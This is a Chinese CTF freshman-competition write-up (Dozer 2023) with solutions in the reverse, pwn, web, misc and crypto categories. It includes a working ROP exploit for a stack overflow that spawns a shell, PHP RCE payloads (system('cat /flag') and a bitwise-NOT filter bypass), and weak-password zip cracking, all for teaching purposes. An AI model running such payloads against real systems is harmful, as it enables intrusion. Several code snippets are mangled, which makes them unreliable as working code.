本次考核赛为线上考核,持续时间10月2日上午10:00至10月15日下午18:00。赛题分为:web,pwn,reverse,crypto,misc五个方向。经过两周的激烈角逐,孙士雅同学以总分13372位居第一,张雨锋同学以总分11835位居第二,杨鸿博同学以总分11278位居第三。
各班录取人数:23信安1班12人,23信安2班3人,23网安班12人
前三名奖励如下:
-
机械鼠标+鼠标垫+贴纸
-
赠书*2+鼠标垫+贴纸
-
赠书+鼠标垫+贴纸
以下本次为考核赛wp
REVERSE
ReallyEzre
C源代码,直接查看写exp
#define _crt_secure_no_warnings
#include<stdio.h>
#include<string.h>
int main()
{
char s[26] = "fq|gt}ygneqogavqaeartkogt";
for (int i = 0; i < strlen(s); i++)
{
s[i] -= 2;
}
printf("%s", s);
return 0;
}
maze
迷宫题,直接走出来md5(路径即可)
HelloIDA
ida装上,点击就送
HelloIDA_revenge
拖入ida,F12查看可疑字符串
点进去查看调用函数,找到main函数查看v3,发现是4+3字符串和7进行了异或,直接cyberchef一把梭
HelloAPK
这个题在出题时把页面的flag设置为透明的,这样就不会在应用界面看到了,我们需要利用jadx-gui反编译查找字符串
PWN
nc cat
用nc连接
然后cat flag拿到flag
nc cat_plus
用nc连上后ls查看没有flag
根据题目可知考察的是隐藏文件夹,那直接cat .flag
即可拿到flag
计算题
*第一种解法:*
纯手搓
*第二种解法:*
用python脚本跑,
from pwn import *
target = remote(‘8.130.87.205’, 3001)
for _ in range(50):
question = target.recvline().decode().strip().strip(“=”)print(“题目:”,question)
actual_answer = eval(question)target.sendline(str(actual_answer))target.recvuntil(“Answer correctly!n”)
target.interactive()
猜数字
用ida64打开
F5查看伪代码,可以看出这个题首先写了一个srand函数规定随机数种子的值,代表这是一个固定的随机数(伪随机数),然后要我们输入和随机数相同的数才能通过for,否则会重新进行循环。
当猜对10个数字即可进入shell函数
int main() {
int i,image,buf;
srand(0x22);
for(i=0;i<=11;i++){
image=rand()%3;
printf("%d ",image);
}
}
猜拳
首先用ida64打开,可以看出和猜拳类似,也是考的伪随机数。
首先规定随机数种子,for循环50次,要我们输入的数和生成的随机数进行比较如果满足if就会退出,
我们要输入50个数字进行绕过if(即不能满足if)即可进入shell函数
int main() {
int i,image,buf;
srand(0x2a);
for(i=0;i<=50;i++){
image=rand()%3;
if(image==0)
printf("2n");
if(image==1)
printf("0n");
if(image==2)
printf("1n");
}
}
超简单的stack over flow
用ExeinfoPe查看附件的架构(64位或者32位程序)
然后用对应ida打开,查看main函数,
F5反编译,查看伪代码。
可以发现程序有gets函数,不限制我们字符串的输入长度,可以造成栈溢出,
查看v4的栈长度,程序造成溢出后,我们可以控制程序执行任意代码,劫持程序的返回地址。
F12查看字符串,
发现有命令执行函数system,和/bin/sh获取服务器shell。
发现函数表中有可疑函数shell
反编译shell函数,发现只有system,但是system并没有执行/bin/sh
所以我们需要用寄存器rdi给system函数传入/bin/sh来拿到shell
那我们怎么调用rdi呢
可以使用RDPgadget来查找rdi的gadgets
然后我们给rdi传入/bin/sh的地址然后调用system
即可拿到shell
exp
from pwn import *
r=process('./stack')
#本地连接程序
#r = remote('112.6.51.212',30189)
#连接远程
payload=b'a'*0x78+p64(0x00000000004007e3)+p64(0x400808)+p64(0x40073B)
#攻击链
r.sendlineafter(b"overflowsnn",payload)
#接收发送攻击链
r.interactive()
#直接进行交互,相当于回到shell的模式
WEB
game
方法一:
打通游戏即可获得flag
方法二:
查看源代码直接获得flag
你会用burpsuite吗
F12有提示
打开 bp 抓包
可以看到有 jsfuck 密码直接解密
访问这个地址得到 flag
你超逊的啦
这题给的hint是使用bp或者是hackbar,但是我看见有两位用的是不一样的方法,所以我来用四种方法解这题
1
使用burpsuite
使用bp的点在于在进行post传参的时候要添加媒体类型信息Content-Type: application/x-www-form
urlencoded
2
使用hackbar
3
使用curl
4
使用f12控制台
easy_rce
payload:/?p=system('ls /'); //查看文件目录
/?p=system('cat /flag'); //读文件内容
知识点:
request方法传参既能用get也能用post传
F12
打开题目
发现F12,和ctrl+u都不管用
解决方法是在网址栏前加view-source:
house
直接查看源代码,在flag.min.js中看到flag位置
发现是unicode编码,直接在线网站编译出flag
hard_rce
分析题目,本题过滤了许多字符和全部字母,但没过滤取反符号和数字,所以采用取反绕过,取反代码:
<?php
echo urlencode(~'phpinfo');
?>
最终payload:
?cmd=(~%8C%86%8C%8B%9A%92)(~%93%8C);
?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5);
wonderful_pass
首先打开题目网页,看到的是一个前端页面,从这里找关键句:你可以在源码中找到你想要的东西哦,直接右键查看源代码
misc
签到
关注瞌睡虫小k,输入Dozer2023,即可获取flag
morse_code
歌最后有一段摩斯电码
开心的picture
打开是一张图片,binwalk分解出来压缩包,弱密码爆破,密码0721
Dozer{W0_caI_Bu_Sh1_y1u_zi_cHu}
充满禅意的嘲讽
阴阳怪气解密+佛曰
阴阳怪气编码 (gitee.io)
与佛论禅加密版 (by950.top)
小新被藏起来了
云天明的故事
根据提示一步步解出flag
Steg and CRC
破碎的二维码
将二维码进行旋转拼接,扫码出现flag
easy的流量:)
打开流量包 筛选http流量 发现下载流量
一个txt文件和zip文件 手动保存zip文件
补全文件头
打开压缩包 发现hint
用密码解压缩
打开发现
根据hint给双密码
仿射密码解密
注意这个网站的算法是有问题的
CTF在线工具-在线仿射密码加密|在线仿射密码解密|仿射密码算法|Affine Cipher (hiencode.com)
normal_zip
嵌套压缩包 ^^
要么手搓要么脚本(
import pyzipper
import os
def extract_nested_zip(zip_file):
with pyzipper.AESZipFile(zip_file, 'r') as zipf:
password_filename = None
for file_info in zipf.filelist:
if file_info.filename.startswith('password_'):
password_filename = file_info.filename
break
if password_filename is None:
print(f'未找到密码文件,无法解密压缩包 "{zip_file}"。')
return
with zipf.open(password_filename) as pwd_file:
password = pwd_file.read().decode()
with pyzipper.AESZipFile(zip_file, 'r', encryption=pyzipper.WZ_AES) as inner_zipf:
for file_info in inner_zipf.filelist:
inner_zipf.extract(file_info, path='.', pwd=password.encode())
print(f'已解压文件: {file_info.filename}')
next_zip_filename = None
for file_info in inner_zipf.filelist:
if file_info.filename.endswith('.zip'):
next_zip_filename = file_info.filename
break
if next_zip_filename:
extract_nested_zip(next_zip_filename)
if __name__ == '__main__':
outermost_zip_file = 'manyzip_499.zip'
extract_nested_zip(outermost_zip_file)
脚本没优化 压缩包不会自己删除 会保留在本地(
crypto
base_family
base64解密->base32解密->base16解密
Dozer{Y0u_knOw_base_Fami1y}
FUCK
考察了两个密码。Brainfuck和JSFuck,直接按顺序解密就出来了
keyboard
提示特别明显,答案貌似被包裹起来了,直接键盘上找就行了。围一圈的中间那个字母
Cloud
这题是云影密码
原理很简单,有了1,2,4,8这四个简单的数字,你可以以加法表示出0-9任何一个数字,例如0=28,7=124,9=18。
这样,再用1-26来表示A-Z,就可以用作密码了。
为了不至于混乱,引用了第五个数字0,来用作间隔,以避免翻译错误,所以还可以称“01248密码”。
脚本
a="120222480111222448011224240112448014224201222201844201422084204242242012202224802120184420881210122408240124"
s=a.split('0')
print(s)
l=[]
for i in s:
sum=0
for j in i:
sum+=eval(j)
l.append(chr(sum+64))
print(''.join(l))
你吃饭了吗
根据题目可以看出是培根密码,将10000换成a,00000换成b,即可解出
爱莉的秘密
就是凯撒加栅栏加rot13
easy_ras
网上找一个类似脚本直接跑就行
import libnum
import gmpy2
p = 134096351641873733136655136258930346068666059727369503282043358355700127445567145015864534393648722390354391864886220859764835960001384898109024177275632112341866578728402687911008617032055729760873500316750429826070955961883087776809018398637916325085984289076923243657957898725206939956833810785599676729081
q = 174103184868040863643318748725372782590375980254481106844909104639082212404057463322179700704433290948772456739103162440357371611490518612697711739090944270430948454322201815911126010072979510574940873419522755545296895048058252502599021139498869173058848513456305201212185556602542021019786049803486761575619
e = 65537
n = 23346601900034957555688205728495241197603710402649144851787338023529721742194127312047817399657806766767609016899148890792321953032265424697519828450283061929215380561118334803838533435756788037558393172185799965795876666508514498912225616313132295758111963327975946691723015094769391915622723746219695635703244442263293688623076006730992652392943763278634358911926029815126546840504505510331787504021704653483109395844912490151355318632539550539120625649870737699418228432053253123075546330645737636906674371251100640653395805629579624694238594583468588747282098538736123706732879326510925267827419261467515757876139
c = 21059425587138275177851133719489520191806374210483381046129196548327926882726571104652182980009173089102114951221766632805478392995791154212734039464866621083806832531787252690774774079642174403366738764142141333611676848288053968926219012504301602753768504662298743543510989548687429433750042177449318246891000022681153221275734518915972309438820282840114939223344564087181810107485654527166576224292423298530128805470851466693656140130112962076400703900223613390342448935776739787297327454611230862799071044833028841126247371401388582818660833906604610436650137961239491977984238538541018508899164870408658111225592
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, n)
print(libnum.n2s(int(m)).decode())
或者用工具
hard_rsa
通过给出的n分解p,q
用已经得出的p,q,赋值给解密rsa的脚本
只要知道p和q,得到d,就能解出rsa,直接用脚本开跑得出flag
这里给出一个解题脚本不唯一
flag:
Dozer{20d6e2da95dcc1fa5f5432a436c4be18}
import gmpy2
import libnum
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def fermat(n, verbose=True):
a = isqrt(n)
b2 = a*a - n
b = isqrt(n)
count = 0
while b*b != b2:
a = a + 1
b2 = a*a - n
b = isqrt(b2)
count += 1
p=a+b
q=a-b
assert n == p * q
',p) =
',q) =
return p, q
n= 9902818856222787024563072133440550938710227558135328161789597975061589956056992262033542077154303618976791004431333531566549039602180273711537029693586182757724092450368200557073359408363479337363507885859556647468887536468774671586957716873885078043767796679063965432886918774554067185434296238290330438435760966311141004960151482088020397079850490003346872012237936581379969498669060779635164715522140773054302161538487178356007181001168935521820750705451939658389744968102068056144618223821116178519113949752796472136437303624285646057868957254876748746072125760376198949315110236060132257629082612239437688267817
e= 65537
c= 5159074368161541220237618453546581685955484179084194024992550056500438408178271386314960904546540848345370535310245598908803315809660211277776672289921238267645740671269916277896450223256967608644746977632342909627272084837606715644342530689351173316353848189214669987733795167033379669336141047211939013874739278870794953469189661132687676706346507396405946492642648897990248958917013256337570746910017175346336103441528515091504265815800116946786279239756724184064237114695548319993781206797074067095779971390244729292540495903352355048685746842568533136142923146303443882436592305037659264720790923302870859093878
pq=fermat(n)
p=pq[0]
q=pq[1]
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())
原文始发于微信公众号(瞌睡虫小K):【竞赛】2023Dozer新生赛考核wp